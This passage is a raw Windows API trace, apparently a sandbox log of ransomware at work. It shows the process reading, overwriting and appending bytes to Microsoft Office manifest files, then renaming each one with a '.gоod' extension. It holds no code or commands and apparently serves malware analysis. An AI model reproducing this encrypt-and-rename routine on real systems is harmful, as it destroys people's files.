ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f4e1930, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0112.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0112.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0112.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0112.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x35fcea0 | out: lpFileInformation=0x35fcea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e)) returned 1 [0112.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0112.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0112.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0112.568] GetFileType (hFile=0x7b4) returned 0x1 [0112.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0112.568] GetFileType (hFile=0x7b4) returned 0x1 [0112.568] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0112.568] ReadFile (in: hFile=0x7b4, lpBuffer=0x35fd3e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x35fd3e8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0113.085] CloseHandle (hObject=0x7b4) returned 1 [0113.085] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0113.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0113.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0113.086] GetFileType (hFile=0x7b4) returned 0x1 [0113.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0113.086] GetFileType (hFile=0x7b4) returned 0x1 [0113.086] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x112a4e [0113.086] WriteFile (in: hFile=0x7b4, lpBuffer=0x35f29b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35f29b0*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0113.088] CloseHandle (hObject=0x7b4) returned 1 [0113.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0113.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0113.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0113.088] GetFileType (hFile=0x7b4) returned 0x1 [0113.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0113.088] GetFileType (hFile=0x7b4) returned 0x1 [0113.088] ReadFile (in: hFile=0x7b4, lpBuffer=0x35f4d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x35f4d08*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0113.950] CloseHandle (hObject=0x7b4) returned 1 [0113.951] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0113.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0113.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0113.951] GetFileType (hFile=0x7b4) returned 0x1 [0113.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0113.951] GetFileType (hFile=0x7b4) returned 0x1 [0113.951] WriteFile (in: hFile=0x7b4, lpBuffer=0x345ecd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x345ecd0*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0115.620] CloseHandle (hObject=0x7b4) returned 1 [0115.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0115.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0115.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x41219fd7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x112a5e)) returned 1 [0115.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0115.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0115.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0115.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x383eca0 | out: lpFileInformation=0x383eca0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb)) returned 1 [0115.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0115.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0115.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0115.622] GetFileType (hFile=0x7b4) returned 0x1 [0115.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0115.622] GetFileType (hFile=0x7b4) returned 0x1 [0115.622] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0115.622] ReadFile (in: hFile=0x7b4, lpBuffer=0x383f1e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x383f1e8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0115.624] CloseHandle (hObject=0x7b4) returned 1 [0115.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0115.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0115.624] GetFileType (hFile=0x7b4) returned 0x1 [0115.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0115.624] GetFileType (hFile=0x7b4) returned 0x1 [0115.624] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x4bfb [0115.624] WriteFile (in: hFile=0x7b4, lpBuffer=0x3840518*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3840518*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0115.625] CloseHandle (hObject=0x7b4) returned 1 [0115.625] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0115.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0115.625] GetFileType (hFile=0x7b4) returned 0x1 [0115.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0115.625] GetFileType (hFile=0x7b4) returned 0x1 [0115.625] ReadFile (in: hFile=0x7b4, lpBuffer=0x3842870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3842870*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0115.663] CloseHandle (hObject=0x7b4) returned 1 [0115.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0115.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0115.663] GetFileType (hFile=0x7b4) returned 0x1 [0115.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0115.663] GetFileType (hFile=0x7b4) returned 0x1 [0115.663] WriteFile (in: hFile=0x7b4, lpBuffer=0x3841530*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x3841530*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0115.663] CloseHandle (hObject=0x7b4) returned 1 [0115.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0115.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0115.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0115.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x41266578, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0b)) returned 1 [0115.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0115.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0116.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0116.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0116.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x33d2518 | out: lpFileInformation=0x33d2518*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3)) returned 1 [0116.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0116.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0116.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0116.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0116.137] GetFileType (hFile=0x20c) returned 0x1 [0116.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0116.137] GetFileType (hFile=0x20c) returned 0x1 [0116.137] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0116.137] ReadFile (in: hFile=0x20c, lpBuffer=0x33d2a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x33d2a60*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0116.139] CloseHandle (hObject=0x20c) returned 1 [0116.139] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0116.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0116.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0116.139] GetFileType (hFile=0x20c) returned 0x1 [0116.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0116.139] GetFileType (hFile=0x20c) returned 0x1 [0116.139] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0xba5e3 [0116.139] WriteFile (in: hFile=0x20c, lpBuffer=0x33d4970*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x33d4970*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0116.165] CloseHandle (hObject=0x20c) returned 1 [0116.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0116.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0116.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0116.165] GetFileType (hFile=0x20c) returned 0x1 [0116.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0116.165] GetFileType (hFile=0x20c) returned 0x1 [0116.165] ReadFile (in: hFile=0x20c, lpBuffer=0x3439880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3439880*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0118.753] CloseHandle (hObject=0x20c) returned 1 [0118.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0118.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0118.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0119.047] GetFileType (hFile=0x7ec) returned 0x1 [0119.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0119.047] GetFileType (hFile=0x7ec) returned 0x1 [0119.212] WriteFile (in: hFile=0x7ec, lpBuffer=0x3320458*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x3320458*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0119.246] CloseHandle 